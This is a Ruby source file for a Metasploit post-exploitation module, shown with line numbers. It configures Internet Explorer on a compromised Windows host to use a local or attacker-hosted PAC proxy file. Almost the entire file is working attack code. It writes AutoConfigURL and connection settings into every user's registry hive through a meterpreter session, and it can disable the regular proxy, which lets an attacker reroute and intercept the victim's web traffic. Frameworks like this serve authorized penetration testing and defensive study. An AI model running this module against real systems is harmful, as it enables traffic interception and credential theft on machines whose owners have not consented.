Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::Windows::Priv
8
  include Msf::Post::File
9
  include Msf::Post::Windows::Registry
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Windows Manage Proxy PAC File',
16
        'Description' => %q{
17
          This module configures Internet Explorer to use a PAC proxy file. By using the LOCAL_PAC
18
          option, a PAC file will be created on the victim host. It's also possible to provide a
19
          remote PAC file (REMOTE_PAC option) by providing the full URL.
20
        },
21
        'License' => MSF_LICENSE,
22
        'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
23
        'References' => [
24
          [ 'URL', 'https://www.youtube.com/watch?v=YGjIlbBVDqE&hd=1' ],
25
          [ 'URL', 'http://blog.scriptmonkey.eu/bypassing-group-policy-using-the-windows-registry' ]
26
        ],
27
        'Platform' => 'win',
28
        'SessionTypes' => [ 'meterpreter' ],
29
        'Compat' => {
30
          'Meterpreter' => {
31
            'Commands' => %w[
32
              stdapi_sys_config_getenv
33
            ]
34
          }
35
        }
36
      )
37
    )
38

39
    register_options(
40
      [
41
        OptPath.new('LOCAL_PAC', [false, 'Local PAC file.' ]),
42
        OptString.new('REMOTE_PAC', [false, 'Remote PAC file. (Ex: http://192.168.1.20/proxy.pac)' ]),
43
        OptBool.new('DISABLE_PROXY', [true, 'Disable the proxy server.', false]),
44
        OptBool.new('AUTO_DETECT', [true, 'Automatically detect settings.', false])
45
      ]
46
    )
47
  end
48

49
  def run
50
    if datastore['LOCAL_PAC'].blank? && datastore['REMOTE_PAC'].blank?
51
      print_error('You must set a remote or local PAC file. Aborting...')
52
      return
53
    end
54

55
    if datastore['REMOTE_PAC']
56
      @remote = true
57
      print_status('Setting automatic configuration script from a remote PAC file ...')
58
      res = enable_proxypac(datastore['REMOTE_PAC'])
59
    else
60
      @remote = false
61
      print_status('Setting automatic configuration script from local PAC file ...')
62
      pac_file = create_pac(datastore['LOCAL_PAC'])
63
      unless pac_file
64
        print_error('There were problems creating the PAC proxy file. Aborting...')
65
        return
66
      end
67
      res = enable_proxypac(pac_file)
68
    end
69
    unless res
70
      print_error('Error while setting an automatic configuration script. Aborting...')
71
      return
72
    end
73

74
    print_good('Automatic configuration script configured...')
75

76
    if datastore['AUTO_DETECT']
77
      print_status('Enabling Automatically Detect Settings...')
78
      unless auto_detect_on
79
        print_error('Failed to enable Automatically Detect Settings. Proceeding anyway...')
80
      end
81
    end
82

83
    if datastore['DISABLE_PROXY']
84
      print_status('Disabling the Proxy Server...')
85
      unless disable_proxy
86
        print_error('Failed to disable Proxy Server. Proceeding anyway...')
87
      end
88
    end
89
  end
90

91
  def create_pac(local_pac)
92
    pac_file = session.sys.config.getenv('APPDATA') << '\\' << Rex::Text.rand_text_alpha((rand(6..13))) << '.pac'
93
    conf_pac = ''
94

95
    if ::File.exist?(local_pac)
96
      conf_pac << ::File.open(local_pac, 'rb').read
97
    else
98
      print_error('Local PAC file not found.')
99
      return false
100
    end
101

102
    if write_file(pac_file, conf_pac)
103
      print_status("PAC proxy configuration file written to #{pac_file}")
104
      return pac_file
105
    else
106
      return false
107
    end
108
  end
109

110
  def enable_proxypac(pac)
111
    proxy_pac_enabled = false
112

113
    registry_enumkeys('HKU').each do |k|
114
      next unless k.include? 'S-1-5-21'
115
      next if k.include? '_Classes'
116

117
      key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
118
      value_auto = 'AutoConfigURL'
119
      file = @remote ? pac.to_s : "file://#{pac}"
120

121
      begin
122
        res = registry_setvaldata(key, value_auto, file, 'REG_SZ')
123
      rescue ::RuntimeError, Rex::TimeoutError
124
        next
125
      end
126

127
      if res.nil? # Rex::Post::Meterpreter::RequestError
128
        next
129
      end
130

131
      if change_connection(16, '05', key + '\\Connections')
132
        proxy_pac_enabled = true
133
      end
134
    end
135

136
    if proxy_pac_enabled
137
      return true
138
    else
139
      return false
140
    end
141
  end
142

143
  def auto_detect_on
144
    auto_detect_enabled = false
145

146
    registry_enumkeys('HKU').each do |k|
147
      next unless k.include? 'S-1-5-21'
148
      next if k.include? '_Classes'
149

150
      key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings\\Connections"
151
      if change_connection(16, '0D', key)
152
        print_good('Automatically Detect Settings on.')
153
        auto_detect_enabled = true
154
      end
155
    end
156

157
    if auto_detect_enabled
158
      return true
159
    else
160
      return false
161
    end
162
  end
163

164
  def disable_proxy
165
    value_enable = 'ProxyEnable'
166
    profile = false
167

168
    registry_enumkeys('HKU').each do |k|
169
      next unless k.include? 'S-1-5-21'
170
      next if k.include? '_Classes'
171

172
      key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
173
      begin
174
        registry_setvaldata(key, value_enable, 0, 'REG_DWORD')
175
        profile = true
176
      rescue ::RuntimeError, Rex::TimeoutError
177
        next
178
      end
179
    end
180

181
    if profile
182
      print_good('Proxy disabled.')
183
      return true
184
    else
185
      return false
186
    end
187
  end
188

189
  def change_connection(offset, value, key)
190
    value_default = 'DefaultConnectionSettings'
191
    begin
192
      value_con = registry_getvaldata(key, value_default)
193
      binary_data = value_con.unpack('H*')[0]
194
      binary_data[offset, 2] = value
195
      registry_setvaldata(key, value_default, ['%x' % binary_data.to_i(16)].pack('H*'), 'REG_BINARY')
196
    rescue ::RuntimeError, Rex::TimeoutError
197
      return false
198
    end
199

200
    return true
201
  end
202
end
203

204